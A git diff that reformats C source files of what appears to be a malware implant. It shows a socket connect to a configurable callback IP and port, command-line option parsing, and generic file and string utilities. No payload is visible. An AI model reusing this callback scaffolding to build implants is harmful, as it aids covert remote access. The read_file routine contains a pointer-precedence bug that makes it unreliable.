-  /*
-     creating initial socket...
+    /*
+       creating initial socket...
 
-     AF_INET          -> remote connection    (for local, use AF_UNIX)
-     SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
-     IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
+       AF_INET          -> remote connection    (for local, use AF_UNIX)
+       SOCK_STREAM      -> TCP connection       (for UDP, use SOCK_DGRAM)
+       IPPROTO_TCP      -> Specify protocol     (for UDP, use IPPROTO_UDP)
 
-  */
-  int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
-  if (sockfd < 0) {
+    */
+    int sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+    if (sockfd < 0)
+    {
 
 #ifdef DEBUG
-    perror("socket");
+        perror("socket");
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  /* items required to bind socket to remote address */
-  int is_enabled = 1;
-  struct sockaddr_in addr = {.sin_family = AF_INET,
-                             .sin_port = htons(instance->port),
-                             .sin_addr.s_addr = inet_addr(instance->ip)};
+    /* items required to bind socket to remote address */
+    int is_enabled = 1;
+    struct sockaddr_in addr = { .sin_family = AF_INET,
+                                .sin_port = htons(instance->port),
+                                .sin_addr.s_addr = inet_addr(instance->ip) };
 
-  /* setting socket options to make connection more convenient */
-  if (setsockopt(sockfd, SOL_SOCKET,
-                 SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
-                                                 (useful for testing) */
-                 &is_enabled, sizeof(int)) < 0) {
+    /* setting socket options to make connection more convenient */
+    if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR | SO_REUSEPORT, /* allowing to reuse ADDR or PORT
+                                                                       (useful for testing) */
+                   &is_enabled,
+                   sizeof(int)) < 0)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
+        DEBUG_LOG("setsockopt send_key_description: %s", strerror(errno));
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  if (connect(sockfd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
+    if (connect(sockfd, (struct sockaddr*)&addr, sizeof(addr)) < 0)
+    {
 
 #ifdef DEBUG
-    DEBUG_LOG("connect: %s", strerror(errno));
+        DEBUG_LOG("connect: %s", strerror(errno));
 #endif
 
-    close(sockfd);
-    return -1;
-  }
+        close(sockfd);
+        return -1;
+    }
 
-  return sockfd;
+    return sockfd;
 }
diff --git a/implant/sources/opt.c b/implant/sources/opt.c
@@ -10,54 +10,60 @@
 
 #include "implant.h"
 
-static void help_mode(char const *binary_path) {
+static void
+help_mode(char const* binary_path)
+{
 #ifdef DEBUG
-  printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
-         "Port\n\t-n\tDisable network connection (for debug)\n",
-         binary_path);
+    printf("%s USAGE:\n\t-i\tCallback IP Address\n\t-p\tCallback "
+           "Port\n\t-n\tDisable network connection (for debug)\n",
+           binary_path);
 #else
-  (void)binary_path;
+    (void)binary_path;
 #endif
 }
 
-int parse_user_input(int ac, char **av, implant_t *settings) {
-  int c = 0;
+int
+parse_user_input(int ac, char** av, implant_t* settings)
+{
+    int c = 0;
 
 #ifdef DEBUG
-  char const *options = "i:p:hn";
+    char const* options = "i:p:hn";
 #else
-  char const *options = "i:p:h";
+    char const* options = "i:p:h";
 #endif
 
-  do {
-    c = getopt(ac, av, options);
-    switch (c) {
+    do
+    {
+        c = getopt(ac, av, options);
+        switch (c)
+        {
 
 #ifdef DEBUG
-    case 'n':
-      settings->disable_net = 1;
-      break;
+        case 'n':
+            settings->disable_net = 1;
+            break;
 #endif
-    case 'i':
-      strncpy((char *)&settings->ip, optarg, 255);
-      break;
-
-    case 'p':
-      settings->port = (unsigned short)strtoul(optarg, NULL, 0);
-      break;
-
-    case 'h':
-      help_mode(av[0]);
-      exit(0);
-      /* will exit on help_mode() anyway */
-
-    case '?':
-      help_mode(av[0]);
-      return ERROR;
-
-    default:
-      break;
-    }
-  } while (c != -1);
-  return SUCCESSFUL;
+        case 'i':
+            strncpy((char*)&settings->ip, optarg, 255);
+            break;
+
+        case 'p':
+            settings->port = (unsigned short)strtoul(optarg, NULL, 0);
+            break;
+
+        case 'h':
+            help_mode(av[0]);
+            exit(0);
+            /* will exit on help_mode() anyway */
+
+        case '?':
+            help_mode(av[0]);
+            return ERROR;
+
+        default:
+            break;
+        }
+    } while (c != -1);
+    return SUCCESSFUL;
 }
diff --git a/implant/sources/utils.c b/implant/sources/utils.c
@@ -17,137 +17,160 @@
 #include <sys/types.h>
 #include <unistd.h>
 
-int read_file(char const *path, char **buffer) {
+int
+read_file(char const* path, char** buffer)
+{
 
-  int fd = open(path, O_RDONLY);
-  if (0 > fd) {
+    int fd = open(path, O_RDONLY);
+    if (0 > fd)
+    {
 #ifdef DEBUG
-    DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
+        DEBUG_LOG("Could not open %s: %s", path, strerror(errno));
 #endif
-    return ERROR;
-  }
+        return ERROR;
+    }
 
-  /* could use fseek but stat is posix so let's use that */
-  struct stat st;
-  if (0 > fstat(fd, &st)) {
+    /* could use fseek but stat is posix so let's use that */
+    struct stat st;
+    if (0 > fstat(fd, &st))
+    {
 #ifdef DEBUG
-    DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
+        DEBUG_LOG("Could not call fstat on %s: %s", path, strerror(errno));
 #endif
-    return ERROR;
-  }
+        return ERROR;
+    }
 
-  unsigned long filesize = (unsigned long)st.st_size;
+    unsigned long filesize = (unsigned long)st.st_size;
 
-  *buffer = malloc(sizeof(char) * (filesize + 1));
-  if (!buffer || !(*buffer)) {
+    *buffer = malloc(sizeof(char) * (filesize + 1));
+    if (!buffer || !(*buffer))
+    {
 #ifdef DEBUG
-    DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
+        DEBUG_LOG("Could not allocate memory for %s: %s", path, strerror(errno));
 #endif
-    return ERROR;
-  }
+        return ERROR;
+    }
 
-  ssize_t bytes = read(fd, *buffer, filesize);
-  if (bytes != st.st_size) {
+    ssize_t bytes = read(fd, *buffer, filesize);
+    if (bytes != st.st_size)
+    {
 #ifdef DEBUG
-    DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
-              st.st_size, bytes, path);
+        DEBUG_LOG("[!] Should have read %ld bytes but read %ld (filepath: %s)",
+                  st.st_size,
+                  bytes,
+                  path);
 #endif
 
-    if (bytes < 0) {
+        if (bytes < 0)
+        {
 #ifdef DEBUG
-      DEBUG_LOG("read: %s", strerror(errno));
+            DEBUG_LOG("read: %s", strerror(errno));
 #endif
-      return ERROR;
+            return ERROR;
+        }
     }
-  }
 
-  *buffer[bytes] = 0;
-  close(fd);
-  return SUCCESSFUL;
+    *buffer[bytes] = 0;
+    close(fd);
+    return SUCCESSFUL;
 }
 
-static size_t get_nb_cols(const char *str, int n, char separator) {
-  size_t i = (size_t)n;
-  size_t res = 0;
-
-  if (str == NULL || str[0] == '\0')
-    return 0;
-  for (; str[i] != '\0' && str[i] != separator; i++, res++)
-    ;
-  return (res);
+static size_t
+get_nb_cols(const char* str, int n, char separator)
+{
+    size_t i = (size_t)n;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    for (; str[i] != '\0' && str[i] != separator; i++, res++)
+        ;
+    return (res);
 }
 
-static size_t get_nb_rows(const char *str, char separator) {
-  int i;
-  size_t res = 0;
-
-  if (str == NULL || str[0] == '\0')
-    return 0;
-  if (str == NULL || str[0] == '\0')
-    return (0);
-  for (i = 0; str[i] != '\0'; i++)
-    if (str[i] == separator)
-      res++;
-  return (res + 1);
+static size_t
+get_nb_rows(const char* str, char separator)
+{
+    int i;
+    size_t res = 0;
+
+    if (str == NULL || str[0] == '\0')
+        return 0;
+    if (str == NULL || str[0] == '\0')
+        return (0);
+    for (i = 0; str[i] != '\0'; i++)
+        if (str[i] == separator)
+            res++;
+    return (res + 1);
 }
 
-char **tabgen(const char *str, char separator) {
-  size_t i = 0;
-  size_t malloc_size = 0;
-  size_t index_str = 0;
-  char **res = NULL;
-
-  if (str == NULL || *str == 0)
-    return NULL;
-
-  res = malloc(sizeof(char *) * (get_nb_rows(str, separator) + 1));
-  for (; i < get_nb_rows(str, separator); i++) {
-    malloc_size = get_nb_cols(&str[index_str], 0, separator);
-
-    res[i] = malloc(sizeof(char) * (malloc_size + 4));
-    if (!res[i]) {
-      res[i] = NULL;
-      free_tab((uint8_t **)res);
-      return NULL;
+char**
+tabgen(const char* str, char separator)
+{
+    size_t i = 0;
+    size_t malloc_size = 0;
+    size_t index_str = 0;
+    char** res = NULL;
+
+    if (str == NULL || *str == 0)
+        return NULL;
+
+    res = malloc(sizeof(char*) * (get_nb_rows(str, separator) + 1));
+    for (; i < get_nb_rows(str, separator); i++)
+    {
+        malloc_size = get_nb_cols(&str[index_str], 0, separator);
+
+        res[i] = malloc(sizeof(char) * (malloc_size + 4));
+        if (!res[i])
+        {
+            res[i] = NULL;
+            free_tab((uint8_t**)res);
+            return NULL;
+        }
+
+        res[i] = strncpy(res[i], &str[index_str], malloc_size);
+        res[i][malloc_size] = '\0';
+
+        index_str = index_str + malloc_size + 1;
     }
 
-    res[i] = strncpy(res[i], &str[index_str], malloc_size);
-    res[i][malloc_size] = '\0';
-
-    index_str = index_str + malloc_size + 1;
-  }
-
-  res[i] = NULL;
-  return (res);
+    res[i] = NULL;
+    return (res);
 }
 
-void free_tab(uint8_t **tab) {
-  for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
-    free(tab[ctr]);
-  free(tab);
+void
+free_tab(uint8_t** tab)
+{
+    for (size_t ctr = 0; tab[ctr] != NULL; ctr++)
+        free(tab[ctr]);
+    free(tab);
 }
 
-char *remove_repeating_whitespaces(char *s) {
-  size_t i = 0;
-  size_t x = 0;
+char*
+remove_repeating_whitespaces(char* s)
+{
+    size_t i = 0;
+    size_t x = 0;
 
-  if (!s || !(*s))
-    return NULL;
+    if (!s || !(*s))
+        return NULL;
 
-  for (; s[i]; ++i)
-    if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
-      s[x++] = s[i];
+    for (; s[i]; ++i)
+        if (!isspace(s[i]) || (i > 0 && !isspace(s[i - 1])))
+            s[x++] = s[i];
 
-  s[x] = '\0';
-  return s;
+    s[x] = '\0';
+    return s;
 }
 
-size_t get_array_size(uint8_t **array) {
-  size_t ctr = 0;
+size_t
+get_array_size(uint8_t** array)
+{
+    size_t ctr = 0;
 
-  if (!array)
-    return 0;
-  while (array[ctr++])
-    ;
-  return ctr;
+    if (!array)
+        return 0;
+    while (array[ctr++])
+        ;
+    return ctr;
 }